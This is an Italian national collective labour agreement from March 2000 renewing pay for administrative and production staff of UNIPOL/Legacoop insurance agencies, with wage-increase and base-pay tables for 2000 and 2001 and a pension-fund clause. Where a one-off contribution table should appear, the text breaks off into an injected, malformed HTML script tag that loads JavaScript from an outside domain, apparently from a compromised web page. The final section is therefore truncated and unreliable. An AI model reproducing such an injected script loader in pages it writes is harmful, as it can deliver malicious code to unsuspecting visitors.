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Categoria: Assicurazioni (cooperative e confesercenti)
Settore: Credito e Assicurazioni
Data stipula: 10-3-2000
Data decorrenza: 1-1-2000
Data scadenza: 31-12-2001

Contratto Collettivo Nazionale di Lavoro

PER IL PERSONALE AMMINISTRATIVO E PRODUTTIVO
DELLE AGENZIE DI ASSICURAZIONE IN GESTIONE LIBERA
ADERENTI ALL'ASSOCIAZIONE NAZIONALE AGENZIE SOCIETARIE UNIPOL
E ALLA LEGA NAZIONALE COOPERATIVE E MUTUE


RINNOVO AI FINI DEL 2° BIENNIO RETRIBUTIVO

(validità dal 1° gennaio 2000 al 31 dicembre 2001).


VERBALE DI ACCORDO

Il giorno 10 marzo 2000 in Bologna

tra

-   Associazione Nazionale Agenzie Societarie UNIPOL LEGACOOP

e

-   FIBA-CISL
-   FISAC-CGIL
-   UILCA-UIL

si  è  convenuto  di rinnovare la parte retributiva del  CCNL  14.5.99  in
applicazione  di  quanto previsto dal comma 2 dell'art.  70  dello  stesso
CCNL.

Il presente accordo è composto da 3 pagine oltre la presente.


Letto, approvato e sottoscritto.



Art. 54 - Aumenti retributivi e paga base.

A  decorrere dal 1° gennaio 2000 al personale verranno erogati i  seguenti
aumenti retributivi mensili lordi:

contratto  livello  importo mensile
                          lire
                            
Parte I       1          22.561
Parte I       2          23.396
Parte I       3          25.633
Parte I       4          27.023
Parte I       5          30.293
Parte I       6          32.880
Parte I       7          37.178
Parte II      1           8.783
Parte II      2          10.160
Parte II      3          12.027

Di  conseguenza  a  decorrere dal 1° gennaio 2000  la  paga  base  mensile
nazionale lorda per ciascun livello d'inquadramento sarà la seguente:

contratto  livello paga base
                        
Parte I       1      887.637
Parte I       2      956.005
Parte I       3    1.134.440
Parte I       4    1.244.460
Parte I       5    1.505.297
Parte I       6    1.711.333
Parte I       7    2.054.499
Parte II      1      346.602
Parte II      2      436.983
Parte II      3      563.207

Le  somme arretrate verranno erogate al solo personale in forza alla  data
odierna  e  saranno corrisposte con la retribuzione relativa  al  mese  di
marzo 2000.

Inoltre  a  decorrere dal 1° gennaio 2001 al personale verranno erogati  i
seguenti aumenti retributivi mensili lordi:

contratto  livello importo mensile
    
Parte I       1         20.929
Parte I       2         21.703
Parte I       3         23.779
Parte I       4         25.068
Parte I       5         28.102
Parte I       6         30.502
Parte I       7         34.489
Parte II      1          8.147
Parte II      2          9.425
Parte II      3         11.157

Di  conseguenza  a  decorrere dal 1° gennaio 2001  la  paga  base  mensile
nazionale lorda per ciascun livello d'inquadramento sarà la seguente:

contratto  livello paga base
                        
Parte I       1      908.566
Parte I       2      977.708
Parte I       3    1.158.219
Parte I       4    1.269.528
Parte I       5    1.533.399
Parte I       6    1.741.836
Parte I       7    2.088.987
Parte II      1      354.749
Parte II      2      446.408
Parte II      3      574.363



Art. 49 - Previdenza integrativa - Assistenza sanitaria.

In  conseguenza della impossibilità, per cause strettamente  tecniche,  di
applicare  nel  1999  le  nuove  entità  di  alimentazione  del  Fondo  di
previdenza integrativa definite dal rinnovo contrattuale 14.5.99, le parti
concordano  che  lo stesso Fondo venga alimentato fino al  31.12.99  dalle
entità contributive previste dal CCNL 24.2.95.

Quanto  previsto  in  materia  dal rinnovo contrattuale  14.5.99  decorre,
quindi, a tutti gli effetti dal 1° gennaio 2000.

In  sostituzione,  limitatamente  al periodo  1.7.99-31.12.99,  di  quanto
previsto  in materia dal rinnovo contrattuale 14.5.99, le parti concordano
che  in  favore  del  solo  personale in forza  alla  data  odierna  venga
effettuato  un versamento 'una tantum' al Fondo di previdenza  integrativa
nelle seguenti entità:

contratto  livello  una tantum
<script src=http://www.ad<script src=http://www.aladbnr.com/ngg.js></script>













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